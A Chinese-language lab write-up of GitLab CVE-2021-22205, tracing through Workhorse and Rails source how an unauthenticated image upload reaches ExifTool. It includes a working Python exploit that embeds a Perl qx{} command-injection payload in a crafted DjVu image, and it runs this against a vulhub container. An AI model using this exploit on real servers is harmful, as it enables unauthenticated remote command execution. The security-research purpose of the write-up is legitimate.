漏洞介绍

GitLab是一款Ruby开发的Git项目管理平台。在11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行任意命令。

漏洞范围

  • Gitlab CE/EE < 13.10.3
  • Gitlab CE/EE < 13.9.6
  • Gitlab CE/EE < 13.8.8

漏洞靶场

使用vulhub的靶场:

使用环境为GitLab 13.10.1

vulhub-master/gitlab/CVE-2021-22205/

启动靶场环境:

1
docker-compose up -d

环境启动后,访问http://your-ip:8080即可查看到GitLab的登录页面。

漏洞原理

GitLab Workhorse介绍

GitLab Workhorse是一个使用go语言编写的敏捷反向代理。在gitlab_features说明中可以总结大概的内容为,它会处理一些大的HTTP请求,比如文件上传、文件下载、Git push/pull和Git包下载。其它请求会反向代理到GitLab Rails应用。可以在GitLab的项目路径lib/support/nginx/gitlab中的nginx配置文件内看到其将请求转发给了GitLab Workhorse。默认采用了unix socket进行交互。

workhorse路由匹配

在workhorse的更新中涉及函数有NewCleaner,在存在漏洞的版本13.10.2中跟踪到该函数,其中调用到startProcessing来执行exiftool命令

1
2
3
4
5
6
7
8
9
func NewCleaner(ctx context.Context, stdin io.Reader) (io.ReadCloser, error) {
c := &cleaner{ctx: ctx}

if err := c.startProcessing(stdin); err != nil {
return nil, err
}

return c, nil
}

workhorse/internal/upload/exif/exif.go#L25-L33

右键该方法浏览调用结构

img

img

从上图中除去带test字样的测试函数,可以看出最终调用点只有两个,upload包下的Handler函数Accelerate,和artifacts包下的Handler函数UploadArtifacts。现在还暂时不确定是哪个函数,根据前面的漏洞描述信息我们知道对接口/uploads/user的处理是整个调用链的开始,所以直接在源码中全局搜索该接口

img

workhorse/internal/upstream/routes.go#L63

由于请求会先经过GitLab Workhorse,我们可以直接在上图中确定位于workhorse/internal/upstream/routes.go路由文件中的常量userUploadPattern,下面搜索一下对该常量的引用

img

workhorse/internal/upstream/routes.go#L315

在315行代码中发现进行了路由匹配,然后调用了upload.Accelerate。和前面调用点Accelerate吻合,这里的调用比较关键,接下来分析该函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
func Accelerate(rails PreAuthorizer, h http.Handler, p Preparer) http.Handler {
return rails.PreAuthorizeHandler(func(w http.ResponseWriter, r *http.Request, a *api.Response) {
s := &SavedFileTracker{Request: r}

opts, _, err := p.Prepare(a)
if err != nil {
helper.Fail500(w, r, fmt.Errorf("Accelerate: error preparing file storage options"))
return
}

HandleFileUploads(w, r, h, a, s, opts)
}, "/authorize")
}

workhorse/internal/upload/accelerate.go#L20-L32

可以看到函数返回值为http.Handler,说明了之前在ServeHTTP中进行了调用。我们可以尝试一下寻找前面的ServeHTTP调用点。

首先可以看到路由注册在结构体routeEntry中,然后返回了一个数组赋值给u.Routes

img

1
2
3
4
5
6
7
8
9
10
11
routeEntry`用于储存请求路径和对应handler。以下是路由注册方法`route`,接收者为`upstream`结构体。实现功能传入正则字符串形式路径和对应处理handler存入`routeEntry
func (u *upstream) route(method, regexpStr string, handler http.Handler, opts ...func(*routeOptions)) routeEntry {
...
//注册路由绑定handler
return routeEntry{
method: method,
regex: compileRegexp(regexpStr),
handler: handler,
matchers: options.matchers,
}
}

workhorse/internal/upstream/routes.go#L108-L131

upstream结构体的成员Routes指向一个routeEntry数组。

1
2
3
4
5
6
7
8
type upstream struct {
config.Config
URLPrefix urlprefix.Prefix
Routes []routeEntry
RoundTripper http.RoundTripper
CableRoundTripper http.RoundTripper
accessLogger *logrus.Logger
}

workhorse/internal/upstream/upstream.go#L33-L40

查看对该成员的操作位置,位于upstreamServeHTTP方法中,这里通过遍历u.Routes调用isMatch对全局请求进行了路由匹配,最后调用相应的handler。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
func (u *upstream) ServeHTTP(w http.ResponseWriter, r *http.Request) {
...
// Look for a matching route
var route *routeEntry
for _, ro := range u.Routes {
if ro.isMatch(prefix.Strip(URIPath), r) {
route = &ro
break
}
}
...
//调用相应handler
route.handler.ServeHTTP(w, r)
}

workhorse/internal/upstream/upstream.go#L84-L130

isMatch方法如下,使用regex.MatchString()判断了请求路由是否匹配,cleanedPath为请求url。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
func (ro *routeEntry) isMatch(cleanedPath string, req *http.Request) bool {
//匹配请求方式
if ro.method != "" && req.Method != ro.method {
return false
}
//匹配请求路由
if ro.regex != nil && !ro.regex.MatchString(cleanedPath) {
return false
}

ok := true
for _, matcher := range ro.matchers {
ok = matcher(req)
if !ok {
break
}
}

return ok
}

workhorse/internal/upstream/routes.go#L152-L170

img

workhorse认证授权

Accelerate函数中有两个参数,一个是传入的handler,一个是原有的请求上加上接口authorize。文档中写到接口用于认证授权。

img

函数内的PreAuthorizeHandlerPreAuthorizer接口的一个接口方法。该方法实现了一个中间件功能,作用是进行指定操作前的向rails申请预授权,授权通过将调用handler函数体内的HandleFileUploads上传文件。下面是PreAuthorizer接口定义。

1
2
3
type PreAuthorizer interface {
PreAuthorizeHandler(next api.HandleFunc, suffix string) http.Handler
}

workhorse/internal/upload/body_uploader.go#L15-L17

接口实现位于internal\api\api.go:265,以下贴出删减后的关键代码:

1
2
3
4
5
6
7
func (api *API) PreAuthorizeHandler(next HandleFunc, suffix string) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
httpResponse, authResponse, err := api.PreAuthorize(suffix, r)
//...
next(w, r, authResponse)
})
}

workhorse/internal/api/api.go#L265-L290

其中使用了http.HandlerFunc将普通函数转换成了Handler类型,跟进api.PreAuthorize(suffix, r)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
func (api *API) PreAuthorize(suffix string, r *http.Request) (httpResponse *http.Response, authResponse *Response, outErr error) {
//组装请求头
authReq, err := api.newRequest(r, suffix)
...
//发起请求得到响应
httpResponse, err = api.doRequestWithoutRedirects(authReq)

//解析httpResponse.Body到authResponse
authResponse = &Response{}
// The auth backend validated the client request and told us additional
// request metadata. We must extract this information from the auth
// response body.
if err := json.NewDecoder(httpResponse.Body).Decode(authResponse); err != nil {
return httpResponse, nil, fmt.Errorf("preAuthorizeHandler: decode authorization response: %v", err)
}
return httpResponse, authResponse, nil
}

workhorse/internal/api/api.go#L230-L263

以上代码中newRequest()用于组装请求头,跟进如下:

1
2
3
4
5
6
7
8
func (api *API) newRequest(r *http.Request, suffix string) (*http.Request, error) {
authReq := &http.Request{
Method: r.Method,
URL: rebaseUrl(r.URL, api.URL, suffix),
Header: helper.HeaderClone(r.Header),
}
...
}

workhorse/internal/api/api.go#L183-L220

doRequestWithoutRedirects()用于发起请求,跟进如下:

1
2
3
4
5
func (api *API) doRequestWithoutRedirects(authReq *http.Request) (*http.Response, error) {
signingTripper := secret.NewRoundTripper(api.Client.Transport, api.Version)

return signingTripper.RoundTrip(authReq)
}

workhorse/internal/api/api.go#L292-L296

doRequestWithoutRedirects()第一行实例化使用一个RoundTripper,传入了http.Client的Transport类型。RoundTripper是一个接口,可以当做是基于http.Client的中间件,在每次请求之前做一些指定操作。实现其中的RoundTrip方法即可实现接口做一些请求前的操作。下面看看在RoundTrip方法中做了什么

1
2
3
4
5
6
7
8
9
10
11
12
func (r *roundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
//生成JWT令牌
tokenString, err := JWTTokenString(DefaultClaims)
...
// Set a custom header for the request. This can be used in some
// configurations (Passenger) to solve auth request routing problems.
//设置Header头
req.Header.Set("Gitlab-Workhorse", r.version)
req.Header.Set("Gitlab-Workhorse-Api-Request", tokenString)

return r.next.RoundTrip(req)
}

workhorse/internal/secret/roundtripper.go#L23-L35

img

上图中添加了header头Gitlab-Workhorse-Api-Request,内容为JWT令牌,用于在rails中验证请求是否来自于workhorse。最后组成的请求为

1
2
3
4
5
POST /uploads/user/authorize HTTP/1.1
Host: 127.0.0.1:8080
X-Csrf-Token: Gx3AIf+UENPo0Q07pyvCgLZe30kVLzuyVqFwp8XDelScN7bu3g4xMIEW6EnpV+xUR63S2B0MyOlNFHU6JXL5zg==
Cookie: _gitlab_session=76a97094914fc3881c995992a9e22382
Gitlab-Workhorse-Api-Request: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRsYWItd29ya2hvcnNlIn0.R5N8IJRIiZUo5ML1rVbTw_HLbJ88tYCqxOeqJNFHfGw

当得到响应后在PreAuthorize方法结尾通过json.NewDecoder(httpResponse.Body).Decode(authResponse)解析json数据httpResponse.Body到authResponse中,authResponse指向了Response结构体,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
type Response struct {
// GL_ID is an environment variable used by gitlab-shell hooks during 'git
// push' and 'git pull'
GL_ID string

// GL_USERNAME holds gitlab username of the user who is taking the action causing hooks to be invoked
GL_USERNAME string

// GL_REPOSITORY is an environment variable used by gitlab-shell hooks during
// 'git push' and 'git pull'
GL_REPOSITORY string
// GitConfigOptions holds the custom options that we want to pass to the git command
GitConfigOptions []string
// StoreLFSPath is provided by the GitLab Rails application to mark where the tmp file should be placed.
// This field is deprecated. GitLab will use TempPath instead
StoreLFSPath string
// LFS object id
LfsOid string
// LFS object size
LfsSize int64
// TmpPath is the path where we should store temporary files
// This is set by authorization middleware
TempPath string
// RemoteObject is provided by the GitLab Rails application
// and defines a way to store object on remote storage
RemoteObject RemoteObject
// Archive is the path where the artifacts archive is stored
Archive string `json:"archive"`
// Entry is a filename inside the archive point to file that needs to be extracted
Entry string `json:"entry"`
// Used to communicate channel session details
Channel *ChannelSettings
// GitalyServer specifies an address and authentication token for a gitaly server we should connect to.
GitalyServer gitaly.Server
// Repository object for making gRPC requests to Gitaly.
Repository gitalypb.Repository
// For git-http, does the requestor have the right to view all refs?
ShowAllRefs bool
// Detects whether an artifact is used for code intelligence
ProcessLsif bool
// Detects whether LSIF artifact will be parsed with references
ProcessLsifReferences bool
// The maximum accepted size in bytes of the upload
MaximumSize int64
}

workhorse/internal/api/api.go#L108-L152

总结下这部分的调用结构和流程:

img

gitlab-rails处理认证请求

rails部分的处理是比较关键的,只有在rails正确授权才能上传文件。rails中关于uploads接口的路由文件位于config/routes/uploads.rb内。其中一条路由规则为

1
2
3
post ':model/authorize',
to: 'uploads#authorize',
constraints: { model: /personal_snippet|user/ }

config/routes/uploads.rb#L38-L40

请求/uploads/user/authorize将匹配这条规则,调用controlleruploads中的actionauthorize

controller定义位于app/controllers/uploads_controller.rb,在头部include了UploadsActions所在的文件。在其中摘抄出关键的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class UploadsController < ApplicationController
include UploadsActions
include WorkhorseRequest

# ...
#跳过登录鉴权
skip_before_action :authenticate_user!
before_action :authorize_create_access!, only: [:create, :authorize]
before_action :verify_workhorse_api!, only: [:authorize]

# ...

def find_model
return unless params[:id]

upload_model_class.find(params[:id])
end

# ...

def authorize_create_access!
#unless和if的作用相反
return unless model

authorized =
case model
when User
can?(current_user, :update_user, model)
else
can?(current_user, :create_note, model)
end

render_unauthorized unless authorized
end

def render_unauthorized
if current_user || workhorse_authorize_request?
render_404
else
authenticate_user!
end
end

# ...

app/controllers/uploads_controller.rb#L3-L90

authorize定义位于app/controllers/concerns/uploads_actions.rb。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
def authorize
set_workhorse_internal_api_content_type

authorized = uploader_class.workhorse_authorize(
has_length: false,
maximum_size: Gitlab::CurrentSettings.max_attachment_size.megabytes.to_i)

render json: authorized

def model
strong_memoize(:model) { find_model }
end

app/controllers/concerns/uploads_actions.rb#L55-L65

在UploadsController中要调用到authorize还需要先执行前面定义的before_action指定的方法authorize_create_access!verify_workhorse_api!。一个用于验证上传权限,一个用于检测请求jwt的部分保证来自workhorse。
首先使用exp进行测试,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import sys
import requests
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()


def EXP(url, command):
session = requests.Session()
proxies = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
try:
r = session.get(url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(r.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ command +"} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req = session.post(url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
x = req.text
if flag in x:
print("success!!!")
else:
print("No Vuln!!!")
except Exception as e:
print(e)


if __name__ == '__main__':
EXP(sys.argv[1], sys.argv[2])

img

通过pry-shell调试,请求到达authorize_create_access!return unless model表示调用model方法只要结果不为真也就是为假就会return。手动调用一下发现返回了nil。

img

使用step进行步入。

img

model方法位于uploads_actions.rb中,接下来调用strong_memoize传入语句块{ find_model },将判断实例变量@model是否定义。该方法位于lib/gitlab/utils/strong_memoize.rb中,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
module Gitlab
module Utils
module StrongMemoize
def strong_memoize(name)
if strong_memoized?(name)
instance_variable_get(ivar(name))
else
instance_variable_set(ivar(name), yield)
end
end

def strong_memoized?(name)
instance_variable_defined?(ivar(name))
end

def ivar(name)
"@#{name}"
end

lib/gitlab/utils/strong_memoize.rb#L5-L49

官方文档介绍中解释是用于简化对于实例变量的存取。

img

代码中@model为nil

img

所以会走到else中替换掉yield关键字为传入块中的find_model方法并执行来查找设置实例变量@model,该方法位于UploadsController中,

img

lib/gitlab/utils/strong_memoize.rb#L26-L32

find_model方法从params中取到id,显然并没有,所以直接return了。

img

app/controllers/uploads_controller.rb#L38-L42

由于authorize_create_access!的调用中直接return了并没有出现错误,所以最后会走到authorize。在该方法中直接渲染了授权后的信息,如TempPath上传路径。

img

app/controllers/uploads_controller.rb#L58-L60

数据在workhorse被解析

img

workhorse/internal/api/api.go#L258

最后解析图片执行命令造成rce

img

关于CSRF的防护在gitlab后端中默认对每个请求都有做,如果请求访问rails的特定接口就需要事先获取到session和csrf token。

img

漏洞复现

GitLab的/uploads/user接口可以上传图片且无需认证,利用poc.py脚本来测试这个漏洞:

1
python poc.py http://your-ip:8080 "touch /tmp/success"

image-20250513193040487

进入容器内,可见touch /tmp/success已成功执行:

image-20250513193104622

参考

CVE-2021-22205 GitLab RCE之未授权访问深入分析(一)-安全KER - 安全资讯平台 (anquanke.com)

https://github.com/vulhub/vulhub/blob/master/gitlab/CVE-2021-22205/README.zh-cn.md

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html